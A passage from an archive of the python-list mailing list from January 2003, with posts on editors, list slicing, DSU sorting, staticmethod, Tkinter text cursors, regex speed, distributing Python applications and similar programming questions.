>>and at this point I am so independent of any specific editor that I
>>find myself roughly as productive in any modern editor, using the tiny
>>subset of its features that I do, and yet more productive (because of
>>my approach to programming) than many other programmers.
>>
> 
> 
> You have, of course, neatly encapsulated many of the advantages of being an
> old fart. Welcome to the club!
> 
> ....and a Happy New Year to all my reader :0)
> 
> regards

Whilst I too have many years of editing text files, it IS a young industry, you DO have to 
keep abreast of the changes and in text editing I have been lucky in that my initial vi 
knowledge is still relevant and can be enhanced when I move to elvis or vim.

Like Martin I suspect, solving the eight queens problem in a macro has nothing to do with 
  text editing, but syntax highlighting, folding, template generation, auto indentation, 
and others I think ARE the realms of a good text editor.

One feature that would be nice is multiple language syntax colouring for things like 
embedded scripts in HTML or a python 'here document', ( <<! ...!), in a bash script. Is 
this available in editors yet?

Thanks, Paddy.




From skip at pobox.com  Thu Jan 16 13:57:10 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 12:57:10 -0600
Subject: Declaring A Function Argument As Global?
In-Reply-To: <1pt60b.atb2.ln@boundary.tundraware.com>
References: <9fp60b.86b2.ln@boundary.tundraware.com>
        <mailman.1042738646.3193.python-list@python.org>
        <1pt60b.atb2.ln@boundary.tundraware.com>
Message-ID: <15911.134.238538.998625@montanaro.dyndns.org>

    >> def lhandler(list):
    >>     list[:] = list[1:]

    Tim> 'Works like a charm.  But why?

list[:] on the left-hand side of an assignment assigns to the entire list.
It's effectively 

    list[0:len(list)] = rhs

See

    http://www.python.org/doc/current/ref/slicings.html
    http://www.python.org/doc/current/tut/node5.html#SECTION005140000000000000000

for further discussion of list slicing.

Skip




From jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz  Wed Jan 29 15:44:03 2003
From: jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz (Mike McGavin)
Date: Thu, 30 Jan 2003 09:44:03 +1300
Subject: Getting a kerberos ticket
In-Reply-To: <1043818124.796724@yasure>
References: <1043800103.831567@bats.mcs.vuw.ac.nz> <b1798a$28j4$1@nntp6.u.washington.edu> <1043808215.350745@bats.mcs.vuw.ac.nz> <1043818124.796724@yasure>
Message-ID: <1043873043.879978@bats.mcs.vuw.ac.nz>

Donn Cave wrote:

> | I actually managed to find Elliot Lee's krb5 module at 
> | http://py.vaults.ca/parnassus/apyllo.py?i=187576001, but I'm having a 
> | difficult time getting it to compile under NetBSD.  I'm not yet sure if 
> | it'll do what I want, but I'm hoping.

> That's interesting, I'll have to see what he's got.  NetBSD comes with
> Heimdal, as opposed to MIT, Kerberos5.  MIT and Heimdal aren't 100%
> compatible at the API level in my experience, that could be the problem.
> But you really do not need a Python krb5 module for this.

Thanks for all of your help, Don. I'll go and follow up on all of this 
and have a look at the keytab idea.

Mike.




From tismer at tismer.de  Sat Jan 11 17:56:23 2003
From: tismer at tismer.de (Christian Tismer)
Date: Sat, 11 Jan 2003 23:56:23 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <HlGdnUonb9-FB72jXTWcoQ@comcast.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com>
Message-ID: <3E20A117.9020609@tismer.de>

Terry Reedy wrote:
> "John Roth" <johnroth at ameritech.net> wrote in message
> news:v2111cf3gg193a at news.supernews.com...
> 
>>"Edward K. Ream" <edream at tds.net> wrote in message
>>news:SrZT9.121191$Hs2.11493220 at kent.svc.tds.net...
>>
>>>A better rule of thumb, IMO, is that extraordinary claims require
>>>extraordinary justification.
>>
>>Whether or not a claim is extraordinary is totally in the mind (if
>>any) of the person who dislikes the claim.
> 
> 
> There are people who claim they can fly (levitate) by meditating, or
> by willing it so.  I think it would be wonderful (I even tried it as a
> kid).  But given the lack of any credible public demonstration
> anywhere, anytime, I feel comfortable in regarding it as an
> 'extraordinary' claim.  And in wanting to see such a feat in person
> before I really, really believed it.

Don't forget that I've proven that I can
change truth, and I'm in the group from
the beginning (actually I caused it to begin).

I am very convinced that this project is able
to lead to a Python implementation that has
a smaller code base with a minimum of C code,
and that runs faster than CPython.
And it will be Stackless by nature.
I don't claim that this will be the result of
a single sprint. But this is my goal.

if-it-is-possible-at-all-then-we-will-make-it - ly y'rs - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From aleax at aleax.it  Tue Jan 28 04:55:36 2003
From: aleax at aleax.it (Alex Martelli)
Date: Tue, 28 Jan 2003 09:55:36 GMT
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com>
Message-ID: <sssZ9.94053$0v.2742655@news1.tin.it>

J?rgen Cederberg wrote:
   ...
> When sorting a list by several fields, I use this method:
> 
>  >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
> ... 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
>  >>> snames = [ (x[1], x[0], x) for x in names]
>  >>> snames.sort()
>  >>> sortednames = [x[-1] for x in snames]
>  >>> sortednames
> [['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'],
> ['Flintstone
> ', 'Pebbles'], ['Flintstone', 'Wilma']]
>  >>>
> 
> I create a list of tuples, where the tuple is ordered in the way I want
> to sort, i.e. "sort by last then by first". The last element is the
> original item to be sorted. Sort them, and then extract the original item.
> 
> Maybe there are faster and easier ways, but I understand this one.

There is no substantially faster way than this approach (the "Decorate,
Sort, Undecorate" idiom, aka DSU) for long-enough lists.  There _are_
several slight variants that can come in handy sometimes, e.g. inserting 
in each item of sortednames the index into names of the corresponding
item, in order to make the sort "stable" (items that compare equal on
all compared fields are then guaranteed to stay in the same order as
they were originally -- the sort method, per se, is not stable up to
Python 2.2, and is not guaranteed to remain stable in the future even
though it is in 2.3).

I entirely agree that, almost always, DSU is simpler as well as faster
(when it counts, i.e., for large lists) than the alternatives.  The
main exceptions come when the sort needs to be ascending on certain
fields but descending on others -- _then_ DSU gets a bit hairier.


Alex




From Yu.Wang at synopsys.com  Wed Jan  1 20:34:49 2003
From: Yu.Wang at synopsys.com (Yu Wang)
Date: Thu, 02 Jan 2003 09:34:49 +0800
Subject: HELP! Must choose language!
In-Reply-To: <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net>
References: <20030101042101.1615.84075.Mailman@mail.python.org> <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net>
Message-ID: <3E139739.20702@synopsys.com>


Terry Hancock wrote:

>On Tuesday 31 December 2002 08:21 pm,   wrote:
>  
>
>>Yu Wang wrote:
>>
>>    
>>
>>> Yeah.  I'm totally agreed with that.
>>> For commercial usage, python is far from a "perfect" language. You'll
>>> have to
>>> make a choice among C/C++ , java, or something else. But it will be
>>> the
>>> last one
>>> to choose python.
>>>      
>>>
>>If Java were to be acceptable for commercial usage, what would prevent
>>Python from it?
>>    
>>
>
>I think that Yu Wang must mean that Python has limited acceptance in the 
>commercial job marketplace.
>
>Of course, that's a silly thing to say to a 9th grader -- by the time they 
>are actually looking for a job, the picture will have changed completely.  
>Python may be the "only" language for business programming by then (or 
>completely forgotten). Same for C++ or Java or Perl for that matter. 
>
>Actually I'm sure all those languages will still be used by somebody, but 
>relative popularity is fickle.  Just compare the current marketplace with 
>where it was ten years ago (1993). Remember, that's the year HTTP was first 
>deployed.  Linux was a fledgling and hardly anyone had heard of Python (I 
>don't actually know when Python was invented). Java was hardly known either. 
>Perl was around, but not that widely used (because it was the web that made 
>it insanely popular).  I don't think CGI had been invented, and C/C++ 
>dominated the commercial programming marketplace.  People who wanted to sound 
>superior dissed those of us still using Fortran.  (So, okay, some things 
>*haven't* changed, but you get the picture).  Time flies, huh?
>
>Cheers,
>Terry
>
>--
>Terry Hancock ( hancock at anansispaceworks.com )
>Anansi Spaceworks  http://www.anansispaceworks.com
>
>"Some things are too important to be taken seriously"
>
>  
>
Yes, I have to say you are right.  And also, talking about market is 
more like a "Mars Plan" than
something else, to a 9th grade student. Oh, I may make mistakes. If you 
can project the rockets now,
correct me :)

Let us focus:
For commercial usage, ( sorry, I would say it twice ), python program is 
simple, clear, maintainable...,
but it's slow. C/C++ ( sorry again, I would take c/c++ as example 
because I'm now using them ) is
rather faster and flexible. Sometimes, people choose language just by 
run-time speed.
I'm not saying python is not fit for commercial usage. In fact, I have 
seen several  successful stories
about python projects. But, in my memory, they are still somewhat 
"private projcet" done by one or
two or several guys. ( mostly, one person enough ). Of course, language 
like python do make projects
 easier for small groups and maybe it's the tides of new style. As you 
said, "Time flies..."

For language learning,  python is easy to learn and it's simple. It's 
fit for  learning what's programming
language. And it's oo, and fast developed, and full-functioning, and has 
lots of libraries, and .... so on.
C is not so hard to learn and it's not a bad choice to  make it the 
first choice, provided you want to
learn some hardware knowledge.

-- 
Best Regards!

Yu Wang






From robin at jessikat.fsnet.co.uk  Tue Jan 14 06:10:14 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 11:10:14 +0000
Subject: flock experience
In-Reply-To: <20030114115047.F349@prim.han.de>
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
 <20030114092127.C349@prim.han.de> <D6KB5KA$R+I+EwDK@jessikat.demon.co.uk>
 <20030114115047.F349@prim.han.de>
Message-ID: <SrQVdIAWA$I+EwwD@jessikat.demon.co.uk>

In message <20030114115047.F349 at prim.han.de>, holger krekel
<pyth at devel.trillke.net> writes
..
.....
>ation using
>> 
>>         f = open(logfile, "a")
>>         f.write(text)
>>         f.close()
>
>If you have the freedom to choose the logfilename then why
>not use a new filename for *each* message?  (that was my
>suggestion).  You might want to prepend a timestamp
>if you can't reliably access 'mtime' on that machine. 
>Reading all the messages in and sorting them is easy.
>
>This is way simpler than any locking scheme. 
>
>    holger
>
Probably you're right, but this site gets thousands of hits and working
with so many files is a pain. We do have separate files in the output
(for obvious reasons) and even the cleanup of files more than one day
old takes a considerable time to complete. I will push this idea and see
what the  response is. Our analysis tool already takes a while to
process the logs and it's only statting to see which files need to be
scanned.
-- 
Robin Becker




From p-nowak at eelink.net  Wed Jan 15 15:06:20 2003
From: p-nowak at eelink.net (Paul Nowak)
Date: 15 Jan 2003 12:06:20 -0800
Subject: Python as a base for an Open Source Foxpro
Message-ID: <5c07cc6.0301151206.455286ac@posting.google.com>

Hello, I have been doing some thinking about writing an open source
implementation of FoxPro. I write mostly in Python and I been thinking
Python has too many similarities and strengths not to take a close
look at basing the FoxPro project on Python.

Some of the benefits of a Python approach include:

- The Python interpreter is similar to the FoxPro interpreter in basic
parse and execute function;

- Python works on multiple platforms;

- Python core code is easy to read and well-designed;

- Python has a large community and so does FoxPro -- getting some
cross over will probably be good for both camps.

- The FoxPro community would welcome this project I think.

Just wondering what the group comments on this idea are.

Paul



From Kyler at news.Lairds.org  Wed Jan  8 10:26:34 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Wed, 08 Jan 2003 15:26:34 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com>
Message-ID: <11qte-c92.ln1@news.lairds.org>

>> what are the best colleges for those wanting to major in computer science

>To keep this on-topic for this newsgroup, I suppose the answer
>has to be "any which teach Python!".

How soon do you need one?

--kyler



From hwlgw at hotmail.com  Wed Jan 29 18:32:24 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 29 Jan 2003 15:32:24 -0800
Subject: traditional tk inter problem
References: <d232c5e.0301291047.774dbf67@posting.google.com>
Message-ID: <cb035744.0301291532.4ac5c1a2@posting.google.com>

[Chris Lyon]
> ... and all I really want to do it plot a graph in a webpage...

Try this:
$ python antisulk.py > p.html
and see whats in there.


-------- antisulk.py --------------------------------------

def myFunction(x):
    import math
    return math.sin(x)


whyHTML = ''' 

<p style="width:400px; margin-left:50px">

This is for Chris Lyon who just wants to plot a graph
on a webpage.  I can't help you with linux.  Actually I
quit linux myself because of all those configuration
problems over and over again.  But how about plotting a
graph on a webpage *without using images*?  If you hold
the mouse over the graph it shows you the coordinates
in a popup help window.  Well, at least it does with my
IE6 browser.  Have fun with CSS !

</p>

'''

startHTML = '''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"
"http://www.w3.org/TR/REC-html40/strict.dtd">
<html>
<head>
    <style type="text/css">
        body, .dot {
            color: gray; font-size: large;
            font-family: "Courier";
            padding: 10%;
        }
        .dot {
            position: absolute;
        }
    </style>
    <title>
        The map
    </title>
</head>
<body>
''' 

endHTML = '''</body>
</html>
'''

def graphHTML(myFunc, xBegin, xEnd, 
        size=400, offsetX=50, offsetY=500, yScale=200):
    ''' build HTML for graphplot'''    
    result = ''
    for px in range(0, size):
        x = px * ((xEnd - xBegin) / (1.0 * size))
        y = myFunc(x)
        py = y*yScale
        result = result + '''
<span title='(%s,%s)' class=dot
style="left:%spx; top:%spx;">.</span>'''%(
x, y, px+offsetX, offsetY-py)
    return result


def run():
    print startHTML
    print whyHTML
    print '<br><br><br>'
    print graphHTML(myFunction, 0, 6.5)
    print endHTML


if __name__ == '__main__':
    run()



From bdesth at nospam.free.fr  Mon Jan  6 23:36:46 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Mon, 06 Jan 2003 23:36:46 -0500
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org> <ouel7ur3pg.fsf@andlx-anamika.cisco.com> <slrnb1amgh.k1t.grey@teleute.dmiyu.org>
Message-ID: <3E1A595E.9080402@nospam.free.fr>

Steve Lamb wrote:
> On 03 Jan 2003 14:48:51 +0530, Ganesan R <rganesan at myrealbox.com> wrote:
> 
>>I see, it's about scripts. Programs written in Lisp are something beneath
>>you. That's fine :-).
> 
> 
>     No.  Let me put it another way.
> 
>     Will the lisp scripts work outside of Emacs on a lisp only engine?  No?
> Why not?  
> 
>     It is the melding of an editor with a scripting language *and then* the
> penchant for having everything under the sun programmed for it.  If the
> extensions were somehow related to editing I can understand that.  For example
> vim too is extensible.  I have a script for using aspell for spell checking.
> Spell checking happens to be a common enough thing that people would do.  It
> isn't common enough that it should be included in a text editor.  It is its
> own application and I am glad that I can swap it out for something else if
> something better comes along.  OTOH an editor having an entire newsreader
> written for it in the scripting language is like having tetris written in the
> scripting language.  What the hell do either of those have to do with editing?
> Nothing.
> 
>     It is that mixing of two jobs into a single whole that is the problem.  Is
> it an editor?  No, it is a lisp engine.  Is it a lisp engine?  No, it is an
> editor.  Sorry, don't think they mix.
> 
>     'sides, if I wanted a language embedded into my editor (instead of called
> from) I much prefer Python be it.
> 

Please, could you consider Emacs and all the <scripts/programs> written 
for it as different things ? I personnally use Emacs as a code editor, 
but dont have any of the newsReader/webBrowser/tetrisOrWhatsoever 
installed. The fact that someone wrote a newsreader as an emacs 
extension has nothing to do with the fact that emacs *is* a good editor.

Peace
Laotseu




From vanevery at 3DProgrammer.com  Sun Jan 26 15:39:05 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Sun, 26 Jan 2003 20:39:05 GMT
Subject: skinnable, portable widgets?
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net> <X6WY9.289$qg1.57048@news20.bellglobal.com>
Message-ID: <JHXY9.4761$d66.442710@newsread1.prod.itd.earthlink.net>

Warren Postma wrote:
>
> The SDL is a cross platform GUI toolkit for games, but is weak
> on the 'widget' side of things, since game toolkits usually give you
> only the ability to write text on the screen, and some bitmaps, and
> maybe render your 3d polygons.

I don't need those capabilities.  I've already programmed them.

> Basically the widget set you need
> for games is a pair of bitmaps which you page flip between, and then
> everything else should be drawing lines, text, and bitmaps on top of a
> 3d background screen. Thats how all the recent games I've seen do
> things.

Then you have not played any games that actually need GUI elements.  For
instance, take a look at the Civilization-style games over the past 10
years.  Or any game with a fairly elaborate multiplayer lobbying system.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From Simon.Wittber at perth.maptek.com.au  Mon Jan 20 22:38:18 2003
From: Simon.Wittber at perth.maptek.com.au (Simon Wittber (Maptek))
Date: Tue, 21 Jan 2003 11:38:18 +0800
Subject: 3D and floating point optimization
Message-ID: <10F0E58C0018054484E329DC494C4D7F01ADE2@mexper1>

Many years ago, using fixed point numbers to speed up calculations (esp.
in the demo-scene) was a standard optimization, which would speed up
code by orders of magnitude.

I have been experimenting with Python+OpenGL and have run into a few
speed bumps. 

My question is, considering the speed of today's FPUs, is using fixed
point math still a valid optimization, in Python?

simon.




From v.wehren at home.nl  Sun Jan  5 13:39:32 2003
From: v.wehren at home.nl (v.wehren)
Date: Sun, 5 Jan 2003 19:39:32 +0100
Subject: Tkinter question: position cursor within text widget
References: <av94tj$10p$1@news2.tilbu1.nb.home.nl> <jlYR9.4678$LY2.268521@newsc.telia.net>
Message-ID: <av9to1$8hi$1@news2.tilbu1.nb.home.nl>

Fredrik,

I tried that, and this works (although I thought it didn't, hence my
post..). But my guess is I have to *workaround* a different problem (sorry I
didn't catch it as such at first): What happens is that INSERT is set to the
mouse cursor position when I open the infile from an
tkFileDialog.askopenfile (on win32), by double-clicking the file name. The
open file ialog may namely overlap the textbox (depending on the position of
the main window). So when I *double-click* the file name to open a file, it
propably also triggers a mouse click at the underlying textbox position
setting the insert cursor to the CURRENT mark. My guess ?s to workaround
this I have to fire mark_set(INSERT, 1.0) from a virtual event again under
this condition...(?)

Vincent Wehren
















"Fredrik Lundh" <fredrik at pythonware.com> schrieb im Newsbeitrag
news:jlYR9.4678$LY2.268521 at newsc.telia.net...
> "v.wehren" <v.wehren at home.nl> wrote:
>
> > After loading the contens of a text file into a text widget with
something
> > like: <snip>
> >      content = inf.read()
> >      self.textbox.insert(END, content)
> >      self.textbox.focus_set()
> >       </snip>
> >
> > I want the insert cursor to be at the home position after the file has
> > loaded.Is there a simple method to position the cursor at a given index?
I
> > haven't *found* any in the "prevailing" Tkinter sources across the web
> > yet...
>
> the cursor is represented by a predefined mark called INSERT.  to
> move it around, use the mark_set method:
>
>     self.textbox.mark_set(INSERT, 1.0)
>
> more information here:
>
>     http://www.pythonware.com/library/tkinter/introduction/text.htm
>     (click on "Concepts" and scroll down to "Marks")
>
> </F>
>
>





From zypin at sympatico.ca  Sat Jan  4 21:29:52 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 21:29:52 -0500
Subject: Distributing Python apps
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net> <011501c2b456$b9dab320$e31afea9@normskrz> <mailman.1041730030.20806.python-list@python.org>
Message-ID: <mMMR9.8668$8M3.1455029@news20.bellglobal.com>

Gerhard H?ring wrote :
> Norman Skrzypinski <zypin at sympatico.ca> [2003-01-04 20:06 -0500]:
> > In the end, I request that you very capable Python experts give me a way
to
> > give my customers a 750 KB app.
>
> I've pondered creating a seperately installable Python runtime, with
> several net-installable packages (wxPython, ...). The installer of a
> py2exe-packaged Python app could then just 'depend' on this runtime.
>
> This would just be a runtime environment, and not intended for
> developers at all.
>
> > That's not too much to ask, I think. [...]
>
> You can ask all you want, but in the end either somebody will have to
> pay for this or somebody intrisically interested in gettings this done
> will have to implement it herself.
>
> Gerhard

Gerhard,

The people who do this will contribute their time, their thought and their
effort.  They will do it, as have all of the contributors to open source,
because they can and because they wish to do so.

And, when I use their contributions, I will try to find a way to return a
portion of my profits to them.

Thinkers are not well rewarded in this world.  They contribute knowledge,
which is, most often, given freely.  But, knowledge is what is most
valuable.  It's certainly worth much more than putting a puck or a ball into
a net.

Let's try to design a way to fairly compensate the people who give us their
best thoughts.

Norm





From mis6 at pitt.edu  Thu Jan 23 15:30:12 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 23 Jan 2003 12:30:12 -0800
Subject: staticmethod() problems
References: <QyHX9.42384$F63.906360@news.xtra.co.nz> <3E2F52E5.D3601AD7@alcyone.com> <YMRX9.43233$F63.924790@news.xtra.co.nz>
Message-ID: <2259b0e2.0301231230.1b67c205@posting.google.com>

Aum <spam-me at no-thanks.com> wrote in message news:<YMRX9.43233$F63.924790 at news.xtra.co.nz>...
> But there's a real problem with staticmethod. Within a staticmethod 
> function, I can't see any way to access other static attributes of the 
> class - methods or attributes - without knowing the class' name.
> 
> With this restriction, python's static method implementation falls short of 
> that of C++ (I won't say j--- because I don't know j---). At least in C++, 
> you can subclass a class with static methods, and within the subclass, the 
> inherited methods can access other static attributes within the class, 
> without having to explicitly specify the class.
> 

You can call a staticmethod of the parent from a staticmethod of the
children without naming the parent explicitely:

class B(object):
    f=staticmethod(lambda : 'I am B.f')

class C(B):
    def g():
        print C.__base__.f()
    g=staticmethod(g)

C.g() # => I am B.f

I was unable to do that with 'super', however. If somebody has a better
recipe I would be interested in knowing it.

Cheers,

                                                         Michele



From james.kew at btinternet.com  Sat Jan 11 11:37:29 2003
From: james.kew at btinternet.com (James Kew)
Date: Sat, 11 Jan 2003 16:37:29 -0000
Subject: Module Is Not Callable
References: <mailman.1042297582.9859.python-list@python.org>
Message-ID: <avph8c$i1u2s$1@ID-71831.news.dfncis.de>

beno wrote:
>  >>> import test

This actually imports the package which contains the standard library tests:

>>> help(test)

Help on package test:

NAME
    test - # Dummy file to make this directory a package.

FILE
    c:\python22\lib\test\__init__.py
...

>  >>> import string
>  >>> test()
> Traceback (most recent call last):
>    File "<stdin>", line 1, in ?
> TypeError: 'module' object is not callable

...and then attempts to call it -- as Python rightly points out, modules are
not callable. You'd get the same error if you tried:

>>> import os
>>> os()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: 'module' object is not callable

The module is a container for the objects defined within it -- for example,
in your code, you use the translate function in the string module by writing
string.translate(...).

> Testimonials.py
> ...
> def test():
...

OK. So your module is Testimonials; the function within it you want to call
is test(). So:

import Testimonials
Testimonials.test()


--
James Kew
james.kew at btinternet.com





From LogiplexSoftware at earthlink.net  Wed Jan  8 15:06:27 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 08 Jan 2003 12:06:27 -0800
Subject: global variable not seen (bug?)
In-Reply-To: <15900.23018.269123.443512@montanaro.dyndns.org>
References: <20030108155101.GA8856@foof.i3.cz>
	 <15900.23018.269123.443512@montanaro.dyndns.org>
Message-ID: <1042056386.1368.1931.camel@software1.logiplex.internal>

On Wed, 2003-01-08 at 09:03, Skip Montanaro wrote:
>     Michal> ---imported.py start---
>     Michal>  def someFunction():
>     Michal>     global GLOBAL_VARIABLE
> 
>     Michal>     print GLOBAL_VARIABLE
>     Michal> ---imported.py end---
> 
> Somebody still has to actually assign a value to that name.  All the global
> declaration does is tell the system that if you assign a value to the
> variable to put it in the global scope of the module, not the local scope
> (the function).  This would work:
> 
>     GLOBAL_VARIABLE = None
>     def someFunction():
>         print GLOBAL_VARIABLE

If you read the OP's entire post (particularly the cut&paste from the
interactive Python session) you'll see that he in fact did assign to
GLOBAL_VARIABLE.  It just wasn't in the module that actually used it.
The problem is that "globals" aren't really.  They are global only to
the module they were defined in.

To the OP: please don't use globals like this, even in languages that
allow it.  Modules that depend upon a global variable being defined in a
different module are not modulular.  Besides, anyone working on the code
later will hate you and make disparaging comments about your competence
in the source.  Further, it'll be deserved.


Globals-bite-large-chunks-of-ass'ly yrs,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From zypin at sympatico.ca  Sun Jan  5 07:13:02 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sun, 5 Jan 2003 07:13:02 -0500
Subject: Distributing Python apps
References: <mailman.1041749787.13374.python-list@python.org>
Message-ID: <cjVR9.22$SQ5.7628@news20.bellglobal.com>

Thanks for your patience with my somewhat testy questioning.

I accept this.

Norm


"David LeBlanc" <whisper at oz.net> wrote in message
news:mailman.1041749787.13374.python-list at python.org...
> > In the end, I request that you very capable Python experts give
> > me a way to
> > give my customers a 750 KB app.
> >
> > That's not too much to ask, I think.  It's been done, by every other
major
> > software company.
> >
> > Norm
> >
>
> But Python isn't a major software company - it's better! Unlike a typical
> software company, including Microsoft (or Sun or Oracle or...), there are
> not a few to a few dozen working on Python, there are hundreds of
dedicated
> individuals freely contributing their efforts to making a quality product.
> Commercial software ventures can't begin to afford the level of effort and
> equivelent cost that Python's cummulative development has taken, including
> the 100's of free and unencumbered (i.e. free and freely reusable) addons
> and applications that are part of the Python universe. Even the one
company
> most directly connected with current Python evolution, Digital Creations,
> does not charge for the huge coordination effort that's involved in
getting
> high quality Python distribuitions out on a regular basis.
>
> I've contracted at Microsoft and can tell you that the number of people
> assigned to major products for development (not counting marketing,
> management, administration, tech support and "evangalism") would stun you
in
> terms of their relatively tiny numbers. (There's a reason why MS has over
> $40 billion in cash reserves and it has nothing to do with getting a
quality
> product to the consumer!) It's no wonder Steve Ballmar, current CEO of
> Microsoft (Gates is currently CTO IIRC), has described Free Software as
> Microsoft's biggest enemy.
>
> It's simply not possible to deliver the power, expressiveness and
> flexibility of Python in 750kb including your app. There is no high level
> language that can do that when a GUI is included and the support code has
to
> be included in the distribution.
>
> I think people here are ready to assist you in accomplishing what can be
> done, but don't have time to spend on what can't. I regret that the answer
> you want isn't the one that's available. YOU can give your customers a
750kb
> app (if you end up needing that much room!), but the support code is extra
> and there's no way around it no matter what avenue you take unless you're
> willing to put up with what Microsoft allows you.
>
> David LeBlanc
> Seattle, WA USA







From aahz at pythoncraft.com  Sun Jan  5 21:05:40 2003
From: aahz at pythoncraft.com (Aahz)
Date: 5 Jan 2003 21:05:40 -0500
Subject: parameter/argument terminology
References: <mailman.1041769928.7987.python-list@python.org>
Message-ID: <avao9k$h5j$1@panix2.panix.com>

In article <mailman.1041769928.7987.python-list at python.org>,
Donnal Walter <donnalcwalter at yahoo.com> wrote:
>
>In writing Python documentation for functions/methods, are the terms
>'argument' and 'parameter' essentially interchangeable? Or is it true that
>parameter usually refers to the definition and argument to the call?
>
>    def myFunc(self, P1, P2):
>        print P1, P2             # P1 and P2 are parameters
>
>    def doSomething(self):
>        X = 'Hello '
>        Y = 'world'
>        self.myFunc(X, Y)        # X and Y are arguments

What I usually do is refer to "function parameters" in the first case
and "call parameters" in the second.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"There are three kinds of lies: Lies, Damn Lies, and Statistics."  --Disraeli



From bokr at oz.net  Fri Jan 10 16:32:21 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 21:32:21 GMT
Subject: regexp speed concerns
References: <e15e4bd1.0301091611.411bafc2@posting.google.com>
Message-ID: <avne55$dos$0@216.39.172.122>

On 9 Jan 2003 16:11:44 -0800, quioxl at yahoo.com (Jonathan Craft) wrote:
[...]
>
>The code below is paraphrased...the actual code much bulkier, but the
>key lines are captured below.  The "First Python Attempt" may not be
>syntatically correct, as it was replaced by later attempts and I don't
>have it handy anymore.
>
>Original Perl:
>--------------
>for $line in (<fh>) {
>  if (!$errFound) {
>    if ($line =~ m|[\s^](ERR|err|FAIL)|) {
I'd have used different delimiters ;-)
     if ($line =~ m#[\s^](ERR|err|FAIL)#) {
>      $errFound = 1;
>    }
>  }
>}

Did you really mean [\s^] ? I.e., a single character being either white space or '^' ?
IOW, 'asdfasdfasdfasdf^ERRasdfsdf' should match? And likewise the others, anywhere in the line?

>
>First Python Attempt:
>---------------------
>import re
>errSO = re.compile('[\s^](ERR|err|FAIL)')
>for line in fh:
>  if not finishFound:
>    match = errSO.search(line)
>    if match != None: finishFound = 1
>
>Latest Python Attempt:
>----------------------
>import regex
I get
 >>> import regex
 __main__:1: DeprecationWarning: the regex module is deprecated; please use the re module

>errSO = regex.compile('\( \|^\)\(ERR\|err\|FAIL\)')
>for line in fh:
>  if not finishFound:
>    if doneSO.search(line) >= 0: finishFound = 1
>  if not errFound:
>    if errSO.search(line) >= 0: errFound = 1
I don't know what you are doing with the found flags,
but once both of them are set, why continue with the loop?

BTW, I didn't see the definition of doneSO.
>
>
I suspect (need test to verify) that if one of your patterns occurs say 99% of the time,
you could gain by looking for it with a plain string search method separately,
e.g. (untested!) if ^ERR were most frequent:

# untested
import re
for line in fh:
    if not errorFound:
        errorFound = line.find('^ERR') >= 0 or errSO.search(line)
    if not finishFound:
        finishFound = bool(doneSO.search(line))
    if errorFound and finishFound: break
else:
    print 'Nothing found'

The else gets executed if you do *NOT* break out of the loop. This can
be useful in distinguishing conditions of exit without using a flag, so
maybe you can eliminate one?

Hopefully the new line iterator reads ahead, otherwise the xreadlines module might help.

Regards,
Bengt Richter



From spencer at efn.org  Mon Jan 13 17:02:29 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: 13 Jan 2003 22:02:29 GMT
Subject: Extracting int from string
Message-ID: <avvd1l$ee7$1@news.efn.org>

What would be the best way to extract the integer value 45 from the following string?

'X=   45   A'

Thanks in advance.

-- 
Spencer Doidge



From BPettersen at NAREX.com  Thu Jan  2 15:36:31 2003
